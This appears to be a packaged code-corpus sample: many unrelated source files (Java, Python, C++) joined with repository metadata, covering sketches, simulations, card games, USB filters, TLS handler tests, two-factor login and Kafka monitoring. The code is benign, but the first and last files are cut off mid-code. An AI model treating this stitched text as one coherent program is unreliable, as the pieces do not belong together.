final int cap = KllHelper.levelCapacity(k, numLevels, level, m);
if (pop >= cap) {
return level;
}
level++;
}
}
/**
* Computes the actual item capacity of a given level given its depth index.
* If the depth of levels exceeds 30, this uses a folding technique to accurately compute the
* actual level capacity up to a depth of 60. Without folding, the internal calculations would
* exceed the capacity of a long.
* @param k the configured k of the sketch
* @param depth the zero-based index of the level being computed.
* @return the actual capacity of a given level given its depth index.
*/
private static long intCapAux(final int k, final int depth) {
if (depth <= 30) { return intCapAuxAux(k, depth); }
final int half = depth / 2;
final int rest = depth - half;
final long tmp = intCapAuxAux(k, half);
return intCapAuxAux(tmp, rest);
}
/**
* Performs the integer based calculation of an individual level (or folded level).
* @param k the configured k of the sketch
* @param depth depth the zero-based index of the level being computed.
* @return the actual capacity of a given level given its depth index.
*/
private static long intCapAuxAux(final long k, final int depth) {
final long twok = k << 1; // for rounding pre-multiply by 2
final long tmp = ((twok << depth) / powersOfThree[depth]);
final long result = ((tmp + 1L) >>> 1); // add 1 and divide by 2
assert (result <= k);
return result;
}
private static void loadFirst8Bytes(final KllSketch sk, final WritableMemory wmem,
final boolean updatableFormat) {
final boolean empty = sk.getN() == 0;
final boolean lvlZeroSorted = sk.isLevelZeroSorted();
final boolean singleItem = sk.getN() == 1;
final boolean doubleType = (sk.sketchType == DOUBLES_SKETCH);
final int preInts = updatableFormat
? PREAMBLE_INTS_FULL
: (empty || singleItem) ? PREAMBLE_INTS_EMPTY_SINGLE : PREAMBLE_INTS_FULL;
//load the preamble
setMemoryPreInts(wmem, preInts);
final int server = updatableFormat ? SERIAL_VERSION_UPDATABLE
: (singleItem ? SERIAL_VERSION_SINGLE : SERIAL_VERSION_EMPTY_FULL);
setMemorySerVer(wmem, server);
setMemoryFamilyID(wmem, Family.KLL.getID());
setMemoryEmptyFlag(wmem, empty);
setMemoryLevelZeroSortedFlag(wmem, lvlZeroSorted);
setMemorySingleItemFlag(wmem, singleItem);
setMemoryDoubleSketchFlag(wmem, doubleType);
setMemoryUpdatableFlag(wmem, updatableFormat);
setMemoryK(wmem, sk.getK());
setMemoryM(wmem, sk.getM());
}
/**
* @param fmt format
* @param args arguments
*/
private static void printf(final String fmt, final Object ... args) {
//System.out.printf(fmt, args); //Disable
}
/**
* Println Object o
* @param o object to print
*/
private static void println(final Object o) {
//System.out.println(o.toString()); //Disable
}
}
| 15,501 |
778 | from KratosMultiphysics import *
from KratosMultiphysics.MultilevelMonteCarloApplication import *
import KratosMultiphysics.KratosUnittest as KratosUnittest
import KratosMultiphysics.kratos_utilities as kratos_utilities
import os
@KratosUnittest.skipIfApplicationsNotAvailable("ConvectionDiffusionApplication","MeshingApplication")
class KratosMultilevelMonteCarloGeneralTestsAuxiliary(KratosUnittest.TestCase):
def MonteCarloTest(self):
with KratosUnittest.WorkFolderScope(os.path.join(self.folder_name),__file__,add_to_path=True):
import KratosMultiphysics.MultilevelMonteCarloApplication.mc_utilities as mc_utilities
from poisson_square_2d_kratos.simulation_definition import SimulationScenario
# set the ProjectParameters.json path
project_parameters_path = "problem_settings/parameters_poisson_square_2d_coarse.json"
# set parameters of the MC simulation"""
parameters_x_monte_carlo_path = "problem_settings/parameters_x_monte_carlo.json"
# contruct MonteCarlo or MultilevelMonteCarlo class
mc_manager = mc_utilities.MonteCarlo(parameters_x_monte_carlo_path,project_parameters_path,SimulationScenario)
# execute algorithm
mc_manager.Run()
"""delete files"""
kratos_utilities.DeleteFileIfExisting(os.path.join(self.folder_name,"poisson_square_2d.post.bin"))
kratos_utilities.DeleteFileIfExisting(os.path.join(self.folder_name,"poisson_square_2d.post.lst"))
def MultilevelMonteCarloTest(self):
with KratosUnittest.WorkFolderScope(os.path.join(self.folder_name),__file__,add_to_path=True):
import KratosMultiphysics.MultilevelMonteCarloApplication.mlmc_utilities as mlmc_utilities
from poisson_square_2d_kratos.simulation_definition import SimulationScenario
# set the ProjectParameters.json path
project_parameters_path = "problem_settings/parameters_poisson_square_2d_coarse.json"
# set parameters of the MLMC simulation
parameters_x_monte_carlo_path = "problem_settings/parameters_x_monte_carlo.json"
# set parameters of the metric of the adaptive refinement utility and set parameters of the remesh of the adaptive refinement utility
parameters_refinement_path = "problem_settings/parameters_refinement.json"
# contruct MultilevelMonteCarlo class
mlmc_manager = mlmc_utilities.MultilevelMonteCarlo(parameters_x_monte_carlo_path,project_parameters_path,parameters_refinement_path,SimulationScenario)
mlmc_manager.Run()
"""delete files"""
kratos_utilities.DeleteFileIfExisting(os.path.join(self.folder_name,"poisson_square_2d.post.bin"))
kratos_utilities.DeleteFileIfExisting(os.path.join(self.folder_name,"poisson_square_2d.post.lst"))
def _runTest(self):
# Code here that runs the test.
pass
class KratosMultilevelMonteCarloGeneralTests(KratosMultilevelMonteCarloGeneralTestsAuxiliary):
def setUp(self):
self.folder_name_case_MC = "poisson_square_2d_kratos"
self.folder_name_case_MLMC = "poisson_square_2d_kratos"
pass
def testMonteCarlo(self):
self.folder_name = self.folder_name_case_MC
self.MonteCarloTest()
def testMultilevelMonteCarlo(self):
self.folder_name = self.folder_name_case_MLMC
self.MultilevelMonteCarloTest()
def tearDown(self):
# Code here will be placed AFTER every test in this TestCase.
pass
if __name__ == '__main__':
KratosUnittest.main()
| 1,482 |
28,145 | <filename>src/files/skeletons/code.java
// import visualization libraries {
import org.algorithm_visualizer.*;
// }
class Main {
// define tracer variables {
Array2DTracer array2dTracer = new Array2DTracer("Grid");
LogTracer logTracer = new LogTracer("Console");
// }
// define input variables
String[] messages = {
"Visualize",
"your",
"own",
"code",
"here!",
};
// highlight each line of messages recursively
void highlight(int line) {
if (line >= messages.length) return;
String message = messages[line];
// visualize {
logTracer.println(message);
array2dTracer.selectRow(line, 0, message.length() - 1);
Tracer.delay();
array2dTracer.deselectRow(line, 0, message.length() - 1);
// }
highlight(line + 1);
}
Main() {
// visualize {
Layout.setRoot(new VerticalLayout(new Commander[]{array2dTracer, logTracer}));
array2dTracer.set(messages);
Tracer.delay();
// }
highlight(0);
}
public static void main(String[] args) {
new Main();
}
}
| 522 |
1,444 |
package mage.cards.c;
import java.util.UUID;
import mage.abilities.common.EntersBattlefieldTappedAbility;
import mage.abilities.mana.BlackManaAbility;
import mage.abilities.mana.BlueManaAbility;
import mage.abilities.mana.RedManaAbility;
import mage.cards.CardImpl;
import mage.cards.CardSetInfo;
import mage.constants.CardType;
/**
*
* @author <EMAIL>
*/
public final class CrumblingNecropolis extends CardImpl {
public CrumblingNecropolis(UUID ownerId, CardSetInfo setInfo) {
super(ownerId,setInfo,new CardType[]{CardType.LAND},null);
this.addAbility(new EntersBattlefieldTappedAbility());
this.addAbility(new RedManaAbility());
this.addAbility(new BlueManaAbility());
this.addAbility(new BlackManaAbility());
}
private CrumblingNecropolis(final CrumblingNecropolis card) {
super(card);
}
@Override
public CrumblingNecropolis copy() {
return new CrumblingNecropolis(this);
}
}
| 352 |
634 | <filename>modules/base/external-system-impl/src/main/java/com/intellij/openapi/externalSystem/service/RemoteExternalSystemService.java
package com.intellij.openapi.externalSystem.service;
import com.intellij.openapi.externalSystem.service.internal.ExternalSystemTaskAware;
import com.intellij.openapi.externalSystem.model.settings.ExternalSystemExecutionSettings;
import com.intellij.openapi.externalSystem.model.task.ExternalSystemTaskNotificationListener;
import javax.annotation.Nonnull;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* Generic interface with common functionality for all remote services that work with external system.
*
* @author <NAME>
* @since 8/9/11 3:19 PM
*/
public interface RemoteExternalSystemService<S extends ExternalSystemExecutionSettings> extends Remote, ExternalSystemTaskAware {
/**
* Provides the service settings to use.
*
* @param settings settings to use
* @throws RemoteException as required by RMI
*/
void setSettings(@Nonnull S settings) throws RemoteException;
/**
* Allows to define notification callback to use within the current service
*
* @param notificationListener notification listener to use with the current service
* @throws RemoteException as required by RMI
*/
void setNotificationListener(@Nonnull ExternalSystemTaskNotificationListener notificationListener) throws RemoteException;
}
| 390 |
998 | <reponame>ADMTec/VoxelPlugin
// Copyright 2021 Phyronnaz
#pragma once
#include "CoreMinimal.h"
#include "VoxelSpawner.h"
#include "VoxelSpawnerGroup.generated.h"
class UVoxelSpawnerGroup;
USTRUCT()
struct FVoxelSpawnerGroupChild
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, Category = "Config")
UVoxelSpawner* Spawner = nullptr;
UPROPERTY(EditAnywhere, Category = "Config", meta = (ClampMin = 0, ClampMax = 1, UIMin = 0, UIMax = 1))
float Probability = 0;
};
UCLASS()
class VOXELLEGACYSPAWNERS_API UVoxelSpawnerGroup : public UVoxelSpawner
{
GENERATED_BODY()
public:
// Probabilities do not need to be normalized, although it might be harder to understand what's happening if they're not
UPROPERTY(EditAnywhere, Category = "Config")
bool bNormalizeProbabilitiesOnEdit = true;
UPROPERTY(EditAnywhere, Category = "Config")
TArray<FVoxelSpawnerGroupChild> Children;
}; | 361 |
777 | <filename>device/usb/usb_device_filter.cc
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "device/usb/usb_device_filter.h"
#include <memory>
#include <utility>
#include "base/memory/ptr_util.h"
#include "base/strings/utf_string_conversions.h"
#include "base/values.h"
#include "device/usb/usb_descriptors.h"
#include "device/usb/usb_device.h"
namespace device {
namespace {
const char kProductIdKey[] = "productId";
const char kVendorIdKey[] = "vendorId";
const char kInterfaceClassKey[] = "interfaceClass";
const char kInterfaceSubclassKey[] = "interfaceSubclass";
const char kInterfaceProtocolKey[] = "interfaceProtocol";
} // namespace
UsbDeviceFilter::UsbDeviceFilter() = default;
UsbDeviceFilter::UsbDeviceFilter(const UsbDeviceFilter& other) = default;
UsbDeviceFilter::~UsbDeviceFilter() = default;
bool UsbDeviceFilter::Matches(scoped_refptr<UsbDevice> device) const {
if (vendor_id) {
if (device->vendor_id() != *vendor_id)
return false;
if (product_id && device->product_id() != *product_id)
return false;
}
if (serial_number &&
device->serial_number() != base::UTF8ToUTF16(*serial_number)) {
return false;
}
if (interface_class) {
for (const UsbConfigDescriptor& config : device->configurations()) {
for (const UsbInterfaceDescriptor& iface : config.interfaces) {
if (iface.interface_class == *interface_class &&
(!interface_subclass ||
(iface.interface_subclass == *interface_subclass &&
(!interface_protocol ||
iface.interface_protocol == *interface_protocol)))) {
return true;
}
}
}
return false;
}
return true;
}
std::unique_ptr<base::Value> UsbDeviceFilter::ToValue() const {
auto obj = base::MakeUnique<base::DictionaryValue>();
if (vendor_id) {
obj->SetInteger(kVendorIdKey, *vendor_id);
if (product_id)
obj->SetInteger(kProductIdKey, *product_id);
}
if (interface_class) {
obj->SetInteger(kInterfaceClassKey, *interface_class);
if (interface_subclass) {
obj->SetInteger(kInterfaceSubclassKey, *interface_subclass);
if (interface_protocol)
obj->SetInteger(kInterfaceProtocolKey, *interface_protocol);
}
}
return std::move(obj);
}
// static
bool UsbDeviceFilter::MatchesAny(scoped_refptr<UsbDevice> device,
const std::vector<UsbDeviceFilter>& filters) {
if (filters.empty())
return true;
for (const auto& filter : filters) {
if (filter.Matches(device))
return true;
}
return false;
}
} // namespace device
| 1,034 |
1,444 | <reponame>GabrielSturtevant/mage
package mage.cards.v;
import java.util.UUID;
import mage.MageInt;
import mage.abilities.keyword.TrampleAbility;
import mage.abilities.keyword.UndyingAbility;
import mage.abilities.keyword.VigilanceAbility;
import mage.cards.CardImpl;
import mage.cards.CardSetInfo;
import mage.constants.CardType;
import mage.constants.SubType;
/**
*
* @author Loki
*/
public final class Vorapede extends CardImpl {
public Vorapede(UUID ownerId, CardSetInfo setInfo) {
super(ownerId,setInfo,new CardType[]{CardType.CREATURE},"{2}{G}{G}{G}");
this.subtype.add(SubType.INSECT);
this.power = new MageInt(5);
this.toughness = new MageInt(4);
this.addAbility(VigilanceAbility.getInstance());
this.addAbility(TrampleAbility.getInstance());
// Undying
this.addAbility(new UndyingAbility());
}
private Vorapede(final Vorapede card) {
super(card);
}
@Override
public Vorapede copy() {
return new Vorapede(this);
}
}
| 408 |
1,882 | try:
from . import generic as g
except BaseException:
import generic as g
class MFTest(g.unittest.TestCase):
def test_3MF(self):
# an assembly with instancing
s = g.get_mesh('counterXP.3MF')
# should be 2 unique meshes
assert len(s.geometry) == 2
# should be 6 instances around the scene
assert len(s.graph.nodes_geometry) == 6
assert all(m.is_volume for m in s.geometry.values())
# a single body 3MF assembly
s = g.get_mesh('featuretype.3MF')
# should be 2 unique meshes
assert len(s.geometry) == 1
# should be 6 instances around the scene
assert len(s.graph.nodes_geometry) == 1
def test_units(self):
# test our unit conversion function
converter = g.trimesh.units.unit_conversion
# these are the units listed in the 3MF spec as valid
units = ['micron', 'millimeter',
'centimeter', 'inch', 'foot', 'meter']
# check conversion factor for all valid 3MF units
assert all(converter(u, 'inches') > 1e-12 for u in units)
def test_kwargs(self):
# check if kwargs are properly passed to geometries
s = g.get_mesh('P_XPM_0331_01.3mf')
assert(all(len(v.vertices) == 4 for v in s.geometry.values()))
s = g.get_mesh('P_XPM_0331_01.3mf', process=False)
assert(all(len(v.vertices) == 5 for v in s.geometry.values()))
def test_names(self):
# check if two different objects with the same name are correctly processed
s = g.get_mesh('cube_and_sphere_same_name.3mf')
assert(len(s.geometry) == 2)
if __name__ == '__main__':
g.trimesh.util.attach_to_log()
g.unittest.main()
| 749 |
593 | <reponame>RUB-NDS/TLS-Attacker
/**
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
*
* Copyright 2014-2022 Ruhr University Bochum, Paderborn University, Hackmanit GmbH
*
* Licensed under Apache License, Version 2.0
* http://www.apache.org/licenses/LICENSE-2.0.txt
*/
package de.rub.nds.tlsattacker.core.protocol.handler;
import de.rub.nds.modifiablevariable.util.ArrayConverter;
import de.rub.nds.tlsattacker.core.constants.CipherSuite;
import de.rub.nds.tlsattacker.core.constants.ProtocolVersion;
import de.rub.nds.tlsattacker.core.protocol.message.PskClientKeyExchangeMessage;
import de.rub.nds.tlsattacker.core.protocol.parser.PskClientKeyExchangeParser;
import de.rub.nds.tlsattacker.core.protocol.preparator.PskClientKeyExchangePreparator;
import de.rub.nds.tlsattacker.core.protocol.serializer.PskClientKeyExchangeSerializer;
import de.rub.nds.tlsattacker.core.record.layer.TlsRecordLayer;
import de.rub.nds.tlsattacker.core.state.TlsContext;
import org.junit.After;
import static org.junit.Assert.*;
import org.junit.Before;
import org.junit.Test;
public class PskClientKeyExchangeHandlerTest {
private PskClientKeyExchangeHandler handler;
private TlsContext context;
@Before
public void setUp() {
context = new TlsContext();
handler = new PskClientKeyExchangeHandler(context);
}
@After
public void tearDown() {
}
/**
* Test of getParser method, of class PskClientKeyExchangeHandler.
*/
@Test
public void testGetParser() {
assertTrue(handler.getParser(new byte[1], 0) instanceof PskClientKeyExchangeParser);
}
/**
* Test of getPreparator method, of class PskClientKeyExchangeHandler.
*/
@Test
public void testGetPreparator() {
assertTrue(handler.getPreparator(new PskClientKeyExchangeMessage()) instanceof PskClientKeyExchangePreparator);
}
/**
* Test of getSerializer method, of class PskClientKeyExchangeHandler.
*/
@Test
public void testGetSerializer() {
assertTrue(handler.getSerializer(new PskClientKeyExchangeMessage()) instanceof PskClientKeyExchangeSerializer);
}
/**
* Test of adjustTLSContext method, of class PskClientKeyExchangeHandler.
*/
@Test
public void testAdjustTLSContext() {
PskClientKeyExchangeMessage message = new PskClientKeyExchangeMessage();
context.setSelectedCipherSuite(CipherSuite.TLS_PSK_WITH_AES_128_CBC_SHA);
message.prepareComputations();
context.setSelectedProtocolVersion(ProtocolVersion.TLS12);
context.setRecordLayer(new TlsRecordLayer(context));
message.getComputations().setPremasterSecret(ArrayConverter.hexStringToByteArray(
"0303d3fad5b20109834717bac4e7762e217add183d0c4852ab054f65ba6e93b1ed83ca5c5fa614cd3b810f4766c66feb"));
message.getComputations().setClientServerRandom(ArrayConverter.hexStringToByteArray(
"a449532975d478abeefcfafa7522b9312bdbd0bb294fe460c4d52bab13a425b7594d0e9508874a67db6d9b8e91db4f38600e88f006bbe58f2b41deb6811c74cc"));
context.setSelectedCipherSuite(CipherSuite.TLS_PSK_WITH_AES_128_CBC_SHA);
handler.adjustTLSContext(message);
assertArrayEquals(
ArrayConverter.hexStringToByteArray(
"0303d3fad5b20109834717bac4e7762e217add183d0c4852ab054f65ba6e93b1ed83ca5c5fa614cd3b810f4766c66feb"),
context.getPreMasterSecret());
assertArrayEquals(
ArrayConverter.hexStringToByteArray(
"FA1D499E795E936751AD43355C26857728E78ABE1C4BCAFA6EF3C90F6D9B9E49DF1ADE262F127EB2A23BB73E142EE122"),
context.getMasterSecret());
}
}
| 1,526 |
420 | # Copyright (c) 2012-2016 Seafile Ltd.
from binascii import unhexlify
import logging
from django.db import models
from django.utils.translation import ugettext_lazy as _
from .base import Device, key_validator
from seahub.two_factor.gateways import make_call, send_sms
from seahub.two_factor.utils import random_hex
# from phonenumber_field.modelfields import PhoneNumberField
logger = logging.getLogger(__name__)
PHONE_METHODS = (
('call', _('Phone Call')),
('sms', _('Text Message')),
)
class PhoneDevice(Device):
"""
Model with phone number and token seed linked to a user.
"""
number = models.CharField(max_length=40) # todo
key = models.CharField(max_length=40,
validators=[key_validator],
default=random_hex,
help_text="Hex-encoded secret key")
method = models.CharField(max_length=4, choices=PHONE_METHODS,
verbose_name=_('Method'))
def __repr__(self):
return '<PhoneDevice(number={!r}, method={!r}>'.format(
self.number,
self.method,
)
def __eq__(self, other):
if not isinstance(other, PhoneDevice):
return False
return self.number == other.number \
and self.method == other.method \
and self.key == other.key
@property
def bin_key(self):
return unhexlify(self.key.encode())
def verify_token(self, token):
# local import to avoid circular import
from seahub.two_factor.oath import totp
from seahub.two_factor.utils import totp_digits
try:
token = int(token)
except ValueError:
return False
for drift in range(-5, 1):
if totp(self.bin_key, drift=drift, digits=totp_digits()) == token:
return True
return False
def generate_challenge(self):
# local import to avoid circular import
from seahub.two_factor.oath import totp
from seahub.two_factor.utils import totp_digits
"""
Sends the current TOTP token to `self.number` using `self.method`.
"""
no_digits = totp_digits()
token = str(totp(self.bin_key, digits=no_digits)).zfill(no_digits)
if self.method == 'call':
make_call(device=self, token=token)
else:
send_sms(device=self, token=token)
| 1,097 |
18,621 | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from flask_babel import lazy_gettext as _
from superset.commands.exceptions import (
CommandException,
CommandInvalidError,
CreateFailedError,
DeleteFailedError,
ValidationError,
)
class AnnotationLayerInvalidError(CommandInvalidError):
message = _("Annotation layer parameters are invalid.")
class AnnotationLayerBulkDeleteFailedError(DeleteFailedError):
message = _("Annotation layer could not be deleted.")
class AnnotationLayerCreateFailedError(CreateFailedError):
message = _("Annotation layer could not be created.")
class AnnotationLayerUpdateFailedError(CreateFailedError):
message = _("Annotation layer could not be updated.")
class AnnotationLayerNotFoundError(CommandException):
message = _("Annotation layer not found.")
class AnnotationLayerDeleteFailedError(CommandException):
message = _("Annotation layer delete failed.")
class AnnotationLayerDeleteIntegrityError(CommandException):
message = _("Annotation layer has associated annotations.")
class AnnotationLayerBulkDeleteIntegrityError(CommandException):
message = _("Annotation layer has associated annotations.")
class AnnotationLayerNameUniquenessValidationError(ValidationError):
"""
Marshmallow validation error for annotation layer name already exists
"""
def __init__(self) -> None:
super().__init__([_("Name must be unique")], field_name="name")
| 585 |
455 | <filename>StarEngine/jni/Components/Physics/index.h
#pragma once
#include "BaseColliderComponent.h"
#include "CircleColliderComponent.h"
#include "RectangleColliderComponent.h" | 66 |
1,350 | <reponame>billwert/azure-sdk-for-java
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// Code generated by Microsoft (R) AutoRest Code Generator.
package com.azure.resourcemanager.netapp.models;
import com.azure.core.management.Region;
import com.azure.core.util.Context;
import com.azure.resourcemanager.netapp.fluent.models.VolumeGroupDetailsInner;
import java.util.List;
import java.util.Map;
/** An immutable client-side representation of VolumeGroupDetails. */
public interface VolumeGroupDetails {
/**
* Gets the location property: Resource location.
*
* @return the location value.
*/
String location();
/**
* Gets the id property: Resource Id.
*
* @return the id value.
*/
String id();
/**
* Gets the name property: Resource name.
*
* @return the name value.
*/
String name();
/**
* Gets the type property: Resource type.
*
* @return the type value.
*/
String type();
/**
* Gets the tags property: Resource tags.
*
* @return the tags value.
*/
Map<String, String> tags();
/**
* Gets the provisioningState property: Azure lifecycle management.
*
* @return the provisioningState value.
*/
String provisioningState();
/**
* Gets the groupMetadata property: Volume group details.
*
* @return the groupMetadata value.
*/
VolumeGroupMetadata groupMetadata();
/**
* Gets the volumes property: List of volumes from group.
*
* @return the volumes value.
*/
List<VolumeGroupVolumeProperties> volumes();
/**
* Gets the region of the resource.
*
* @return the region of the resource.
*/
Region region();
/**
* Gets the name of the resource region.
*
* @return the name of the resource region.
*/
String regionName();
/**
* Gets the inner com.azure.resourcemanager.netapp.fluent.models.VolumeGroupDetailsInner object.
*
* @return the inner object.
*/
VolumeGroupDetailsInner innerModel();
/** The entirety of the VolumeGroupDetails definition. */
interface Definition
extends DefinitionStages.Blank, DefinitionStages.WithParentResource, DefinitionStages.WithCreate {
}
/** The VolumeGroupDetails definition stages. */
interface DefinitionStages {
/** The first stage of the VolumeGroupDetails definition. */
interface Blank extends WithParentResource {
}
/** The stage of the VolumeGroupDetails definition allowing to specify parent resource. */
interface WithParentResource {
/**
* Specifies resourceGroupName, accountName.
*
* @param resourceGroupName The name of the resource group.
* @param accountName The name of the NetApp account.
* @return the next definition stage.
*/
WithCreate withExistingNetAppAccount(String resourceGroupName, String accountName);
}
/**
* The stage of the VolumeGroupDetails definition which contains all the minimum required properties for the
* resource to be created, but also allows for any other optional properties to be specified.
*/
interface WithCreate
extends DefinitionStages.WithLocation,
DefinitionStages.WithTags,
DefinitionStages.WithGroupMetadata,
DefinitionStages.WithVolumes {
/**
* Executes the create request.
*
* @return the created resource.
*/
VolumeGroupDetails create();
/**
* Executes the create request.
*
* @param context The context to associate with this operation.
* @return the created resource.
*/
VolumeGroupDetails create(Context context);
}
/** The stage of the VolumeGroupDetails definition allowing to specify location. */
interface WithLocation {
/**
* Specifies the region for the resource.
*
* @param location Resource location.
* @return the next definition stage.
*/
WithCreate withRegion(Region location);
/**
* Specifies the region for the resource.
*
* @param location Resource location.
* @return the next definition stage.
*/
WithCreate withRegion(String location);
}
/** The stage of the VolumeGroupDetails definition allowing to specify tags. */
interface WithTags {
/**
* Specifies the tags property: Resource tags.
*
* @param tags Resource tags.
* @return the next definition stage.
*/
WithCreate withTags(Map<String, String> tags);
}
/** The stage of the VolumeGroupDetails definition allowing to specify groupMetadata. */
interface WithGroupMetadata {
/**
* Specifies the groupMetadata property: Volume group details.
*
* @param groupMetadata Volume group details.
* @return the next definition stage.
*/
WithCreate withGroupMetadata(VolumeGroupMetadata groupMetadata);
}
/** The stage of the VolumeGroupDetails definition allowing to specify volumes. */
interface WithVolumes {
/**
* Specifies the volumes property: List of volumes from group.
*
* @param volumes List of volumes from group.
* @return the next definition stage.
*/
WithCreate withVolumes(List<VolumeGroupVolumeProperties> volumes);
}
}
/**
* Refreshes the resource to sync with Azure.
*
* @return the refreshed resource.
*/
VolumeGroupDetails refresh();
/**
* Refreshes the resource to sync with Azure.
*
* @param context The context to associate with this operation.
* @return the refreshed resource.
*/
VolumeGroupDetails refresh(Context context);
}
| 2,486 |
1,390 | {
"enablePullDownRefresh": true,
"onReachBottomDistance": 100,
"usingComponents": {
"tabs": "../../../components/tabs/index",
"tab": "../../../components/tab/index",
"activities": "../../../components/feeds/feeds",
"notifs": "../../../components/notifs/notifs"
}
} | 119 |
575 | <filename>cc/trees/ukm_manager.h
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CC_TREES_UKM_MANAGER_H_
#define CC_TREES_UKM_MANAGER_H_
#include <memory>
#include <vector>
#include "cc/cc_export.h"
#include "cc/metrics/compositor_frame_reporter.h"
#include "cc/metrics/event_metrics.h"
#include "cc/metrics/frame_sequence_metrics.h"
#include "services/metrics/public/cpp/ukm_source_id.h"
#include "url/gurl.h"
namespace ukm {
class UkmRecorder;
} // namespace ukm
namespace cc {
enum class AggregationType;
class CC_EXPORT UkmRecorderFactory {
public:
virtual ~UkmRecorderFactory() {}
virtual std::unique_ptr<ukm::UkmRecorder> CreateRecorder() = 0;
};
// TODO(xidachen): rename the class to CompositorUkmManager.
class CC_EXPORT UkmManager {
public:
explicit UkmManager(std::unique_ptr<ukm::UkmRecorder> recorder);
~UkmManager();
void SetSourceId(ukm::SourceId source_id);
// These metrics are recorded while a user interaction is in progress.
void SetUserInteractionInProgress(bool in_progress);
void AddCheckerboardStatsForFrame(int64_t checkerboard_area,
int64_t num_missing_tiles,
int64_t total_visible_area);
// These metrics are recorded until the source URL changes.
void AddCheckerboardedImages(int num_of_checkerboarded_images);
void RecordThroughputUKM(FrameSequenceTrackerType tracker_type,
FrameSequenceMetrics::ThreadType thread_type,
int64_t throughput) const;
void RecordAggregateThroughput(AggregationType aggregation_type,
int64_t throughput_percent) const;
void RecordCompositorLatencyUKM(
CompositorFrameReporter::FrameReportType report_type,
const std::vector<CompositorFrameReporter::StageData>& stage_history,
const CompositorFrameReporter::ActiveTrackers& active_trackers,
const CompositorFrameReporter::ProcessedBlinkBreakdown&
processed_blink_breakdown,
const CompositorFrameReporter::ProcessedVizBreakdown&
processed_viz_breakdown) const;
void RecordEventLatencyUKM(
const EventMetrics::List& events_metrics,
const std::vector<CompositorFrameReporter::StageData>& stage_history,
const CompositorFrameReporter::ProcessedBlinkBreakdown&
processed_blink_breakdown,
const CompositorFrameReporter::ProcessedVizBreakdown&
processed_viz_breakdown) const;
ukm::UkmRecorder* recorder_for_testing() { return recorder_.get(); }
private:
void RecordCheckerboardUkm();
void RecordRenderingUkm();
bool user_interaction_in_progress_ = false;
int64_t num_of_images_checkerboarded_during_interaction_ = 0;
int64_t checkerboarded_content_area_ = 0;
int64_t num_missing_tiles_ = 0;
int64_t total_visible_area_ = 0;
int64_t num_of_frames_ = 0;
int total_num_of_checkerboarded_images_ = 0;
ukm::SourceId source_id_ = ukm::kInvalidSourceId;
std::unique_ptr<ukm::UkmRecorder> recorder_;
};
} // namespace cc
#endif // CC_TREES_UKM_MANAGER_H_
| 1,233 |
2,205 | <reponame>LambertCOL/EFAK<filename>efak-core/src/test/java/org/smartloli/kafka/eagle/ipc/TestJGroupMetadataManager.java
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.smartloli.kafka.eagle.ipc;
import kafka.common.OffsetAndMetadata;
import kafka.common.OffsetMetadata;
import kafka.coordinator.group.BaseKey;
import kafka.coordinator.group.GroupMetadataKey;
import kafka.coordinator.group.GroupTopicPartition;
import kafka.coordinator.group.OffsetKey;
import org.apache.kafka.clients.CommonClientConfigs;
import org.apache.kafka.clients.consumer.ConsumerConfig;
import org.apache.kafka.clients.consumer.ConsumerRecord;
import org.apache.kafka.clients.consumer.ConsumerRecords;
import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.common.TopicPartition;
import org.apache.kafka.common.protocol.types.*;
import org.apache.kafka.common.serialization.StringDeserializer;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.nio.ByteBuffer;
import java.time.Duration;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
/**
* Messages stored for the group topic has versions for both the key and value
* fields. Key version is used to indicate the type of the message (also to
* differentiate different types of messages from being compacted together if
* they have the same field values); and value version is used to evolve the
* messages within their data types:
*
* key version 0: group consumption offset <br>
* -> value version 0: [offset, metadata, timestamp]
*
* key version 1: group consumption offset <br>
* -> value version 1: [offset, metadata, commit_timestamp, expire_timestamp]
*
* key version 2: group metadata <br>
* -> value version 0: [protocol_type, generation, protocol, leader, members]
*
* @author smartloli.
*
* Created by Aug 5, 2019
*/
public class TestJGroupMetadataManager {
private final static Logger LOG = LoggerFactory.getLogger(TestJGroupMetadataManager.class);
private static short CURRENT_OFFSET_KEY_SCHEMA_VERSION = 1;
private static short CURRENT_GROUP_KEY_SCHEMA_VERSION = 2;
private static short CURRENT_GROUP_KEY_SCHEMA_VERSION_V3 = 3;
private static Schema OFFSET_COMMIT_KEY_SCHEMA = new Schema(new Field("group", Type.STRING), new Field("topic", Type.STRING), new Field("partition", Type.INT32));
private static BoundField OFFSET_KEY_GROUP_FIELD = OFFSET_COMMIT_KEY_SCHEMA.get("group");
private static BoundField OFFSET_KEY_TOPIC_FIELD = OFFSET_COMMIT_KEY_SCHEMA.get("topic");
private static BoundField OFFSET_KEY_PARTITION_FIELD = OFFSET_COMMIT_KEY_SCHEMA.get("partition");
